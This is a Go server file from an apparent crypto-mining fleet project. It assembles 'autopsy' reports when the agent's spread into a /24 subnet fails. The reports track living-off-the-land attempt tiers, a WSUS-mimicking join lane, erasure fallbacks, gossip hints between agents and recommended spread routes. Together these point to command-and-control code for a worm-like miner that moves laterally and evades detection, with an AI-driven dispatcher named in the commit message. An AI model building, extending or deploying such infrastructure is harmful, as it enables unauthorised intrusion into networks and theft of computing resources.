Files
AetherForge/server/internal/api/subnet_autopsy.go
AetherForge 5853f80c48
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add adversarial L4 court chamber with Seer court_debate feed.
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
2026-06-07 09:21:44 -07:00

305 lines
8.3 KiB
Go

package api
import (
"encoding/json"
"log"
"net/http"
"strings"
"time"
"crypto-miner-server/internal/ai"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
// SubnetAutopsyHandler serves immune autopsy packets for paused /24 prefixes.
type SubnetAutopsyHandler struct {
hub *WSHub
pathTracer *PathTracerHandler
}
func NewSubnetAutopsyHandler(hub *WSHub, pathTracer *PathTracerHandler) *SubnetAutopsyHandler {
return &SubnetAutopsyHandler{hub: hub, pathTracer: pathTracer}
}
// GET /api/v1/atlas/subnet-autopsy?subnet=
func (h *SubnetAutopsyHandler) Get(w http.ResponseWriter, r *http.Request) {
if h == nil || h.hub == nil {
http.Error(w, "subnet autopsy unavailable", http.StatusServiceUnavailable)
return
}
prefix := atlas.PrefixFromHostOrIP(r.URL.Query().Get("subnet"))
if prefix == "" {
http.Error(w, "subnet query required", http.StatusBadRequest)
return
}
pkt, ok := h.hub.SubnetAutopsy(prefix)
if !ok {
pkt = h.hub.BuildSubnetAutopsy(prefix, h.pathTracer)
}
writeJSON(w, pkt)
}
// TriggerSubnetAutopsy builds, caches, and broadcasts an autopsy when immune pause activates.
func (h *WSHub) TriggerSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) {
pkt := h.BuildSubnetAutopsy(prefix, pathTracer)
h.storeSubnetAutopsy(pkt)
h.BroadcastSeerEvent(map[string]interface{}{
"type": "subnet_immune_autopsy",
"prefix": pkt.Prefix,
"triggered": pkt.TriggeredAt,
"cause": pkt.CauseOfDeath,
"vaccination": pkt.VaccinationLane,
"packet": pkt,
})
log.Printf("[subnet-autopsy] immune pause autopsy for %s (%d failures)", pkt.Prefix, pkt.FailCount)
}
func (h *WSHub) storeSubnetAutopsy(pkt atlas.SubnetAutopsyPacket) {
if h == nil {
return
}
h.mu.Lock()
if h.subnetAutopsies == nil {
h.subnetAutopsies = make(map[string]atlas.SubnetAutopsyPacket)
}
h.subnetAutopsies[pkt.Prefix] = pkt
h.mu.Unlock()
}
// SubnetAutopsy returns a cached autopsy packet for prefix.
func (h *WSHub) SubnetAutopsy(prefix string) (atlas.SubnetAutopsyPacket, bool) {
if h == nil {
return atlas.SubnetAutopsyPacket{}, false
}
prefix = atlas.PrefixFromHostOrIP(prefix)
h.mu.RLock()
pkt, ok := h.subnetAutopsies[prefix]
h.mu.RUnlock()
return pkt, ok
}
// BuildSubnetAutopsy assembles an immune autopsy from fleet state.
func (h *WSHub) BuildSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) atlas.SubnetAutopsyPacket {
prefix = atlas.PrefixFromHostOrIP(prefix)
now := time.Now().UTC()
pkt := atlas.SubnetAutopsyPacket{
Prefix: prefix,
TriggeredAt: now,
Persona: ai.NormalizePersona(h.serverPolicySnapshot().AIPersona),
WSUSMimic: atlas.WSUSMimicSnapshot{
FormatMimicEnabled: true,
CachePeerLane: "wsus_cache_peer",
},
}
policy := h.serverPolicySnapshot()
pkt.ErasureFallback = atlas.ErasureFallbackSnapshot{
ErasureLanesEnabled: policy.ErasureLanesEnabled,
AvailableAsFallback: policy.ErasureLanesEnabled,
}
if h.db != nil {
if row, err := h.db.GetSubnetSpreadPause(prefix); err == nil && row != nil {
pkt.FailCount = row.FailCount
pkt.PausedUntil = row.PausedUntil
}
}
agents := h.agentsOnSubnet(prefix)
pkt.LOTLAttempts = atlas.TrimLOTLAttempts(collectSubnetLOTLAttempts(h, agents), atlas.SubnetAutopsyLOTLAttemptLimit)
pkt.GossipWhispers = atlas.TrimGossipWhispers(h.gossipWhispersForSubnet(prefix), atlas.SubnetAutopsyGossipWhisperLimit)
pkt.FailureAtlas = h.failureAtlasSummaryForSubnet(agents)
if joinLane := recentJoinLane(h, agents); joinLane != "" {
pkt.WSUSMimic.RecentJoinLane = joinLane
if joinLane == "wsus_cache_peer" {
pkt.WSUSMimic.FormatMimicEnabled = true
}
}
if pathTracer != nil {
if hint := pathTracer.RecommendSpreadRoute(prefix, pkt.WSUSMimic.RecentJoinLane, ""); hint != nil {
pkt.VaccinationLane = hint
}
}
pkt.CauseOfDeath = atlas.BuildCauseOfDeath(pkt)
return pkt
}
func (h *WSHub) agentsOnSubnet(prefix string) []*models.Agent {
if h == nil || h.db == nil || prefix == "" {
return nil
}
subnetLabel := prefix + ".x"
agents, err := h.db.ListAgentsFiltered(db.AgentListFilter{Subnet: subnetLabel, Limit: 64})
if err != nil {
return nil
}
return agents
}
func collectSubnetLOTLAttempts(hub *WSHub, agents []*models.Agent) []atlas.LOTLAttemptSnapshot {
var out []atlas.LOTLAttemptSnapshot
for _, ag := range agents {
if ag == nil {
continue
}
attempts := lotlAttemptsForAgent(hub, ag)
for _, a := range attempts {
a.AgentID = ag.ID
a.AgentName = ag.Name
out = append(out, a)
}
}
return out
}
func lotlAttemptsForAgent(hub *WSHub, ag *models.Agent) []atlas.LOTLAttemptSnapshot {
if hub != nil {
hub.mu.RLock()
if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
hub.mu.RUnlock()
if parsed := parseLOTLAttemptsFromTelemetry(tel); len(parsed) > 0 {
return parsed
}
} else {
hub.mu.RUnlock()
}
}
return parseLOTLAttemptsFromAgent(ag)
}
func parseLOTLAttemptsFromTelemetry(tel map[string]interface{}) []atlas.LOTLAttemptSnapshot {
raw, ok := tel["lotl_attempts"]
if !ok {
return nil
}
b, err := json.Marshal(raw)
if err != nil {
return nil
}
var attempts []atlas.LOTLAttemptSnapshot
if json.Unmarshal(b, &attempts) != nil {
return nil
}
return attempts
}
func parseLOTLAttemptsFromAgent(ag *models.Agent) []atlas.LOTLAttemptSnapshot {
if ag == nil || len(ag.LOTLAttempts) == 0 {
return nil
}
out := make([]atlas.LOTLAttemptSnapshot, 0, len(ag.LOTLAttempts))
for _, a := range ag.LOTLAttempts {
out = append(out, atlas.LOTLAttemptSnapshot{
Tier: a.Tier,
OK: a.OK,
Error: a.Error,
DurationMs: a.DurationMs,
})
}
return out
}
func recentJoinLane(hub *WSHub, agents []*models.Agent) string {
for _, ag := range agents {
if ag == nil {
continue
}
if hub != nil {
hub.mu.RLock()
if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
if lane, ok := tel["join_lane"].(string); ok && strings.TrimSpace(lane) != "" {
hub.mu.RUnlock()
return strings.TrimSpace(lane)
}
}
hub.mu.RUnlock()
}
if strings.TrimSpace(ag.JoinLane) != "" {
return strings.TrimSpace(ag.JoinLane)
}
}
return ""
}
func (h *WSHub) failureAtlasSummaryForSubnet(agents []*models.Agent) string {
if h == nil || h.db == nil || len(agents) == 0 {
return ""
}
for _, ag := range agents {
if ag == nil {
continue
}
domainJoined := ag.FirewallDomain != nil && *ag.FirewallDomain
fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, domainJoined)
summary, err := h.db.FailureAtlasSummary(fp.Key(), fp.GOOS)
if err == nil && summary != "" && summary != "no fleet failure atlas samples for this fingerprint" {
return summary
}
}
return ""
}
func normalizeGossipSubnetKey(prefix string) string {
prefix = strings.TrimSpace(prefix)
if prefix == "" {
return ""
}
if norm := atlas.PrefixFromHostOrIP(prefix); norm != "" {
return norm
}
prefix = strings.TrimSuffix(prefix, ".0/24")
prefix = strings.TrimSuffix(prefix, "/24")
return strings.TrimSpace(prefix)
}
func (h *WSHub) recordGossipWhisper(prefix string, hints []atlas.GossipHint) {
prefix = normalizeGossipSubnetKey(prefix)
if prefix == "" || len(hints) == 0 {
return
}
h.mu.Lock()
if h.subnetGossipWhispers == nil {
h.subnetGossipWhispers = make(map[string][]atlas.GossipHint)
}
merged := atlas.MergeGossipSkips(toAtlasSkips(h.subnetGossipWhispers[prefix]), hints)
out := make([]atlas.GossipHint, 0, len(merged))
for _, s := range merged {
out = append(out, atlas.GossipHint{Tier: s.Tier, Condition: s.Condition, Reason: s.Reason})
}
h.subnetGossipWhispers[prefix] = out
h.mu.Unlock()
}
func (h *WSHub) gossipWhispersForSubnet(prefix string) []atlas.GossipHint {
prefix = normalizeGossipSubnetKey(prefix)
if h == nil || prefix == "" {
return nil
}
h.mu.RLock()
defer h.mu.RUnlock()
if h.subnetGossipWhispers == nil {
return nil
}
return append([]atlas.GossipHint(nil), h.subnetGossipWhispers[prefix]...)
}
func toAtlasSkips(hints []atlas.GossipHint) []atlas.AtlasSkip {
skips := atlas.SkipsFromHints(hints)
out := make([]atlas.AtlasSkip, len(skips))
copy(out, skips)
return out
}
// BroadcastSeerEvent pushes structured events to dashboard Seer consumers.
func (h *WSHub) BroadcastSeerEvent(ev interface{}) {
if h == nil {
return
}
h.broadcastDashboard(Message{Type: "seer_events", Payload: mustMarshal(ev)})
}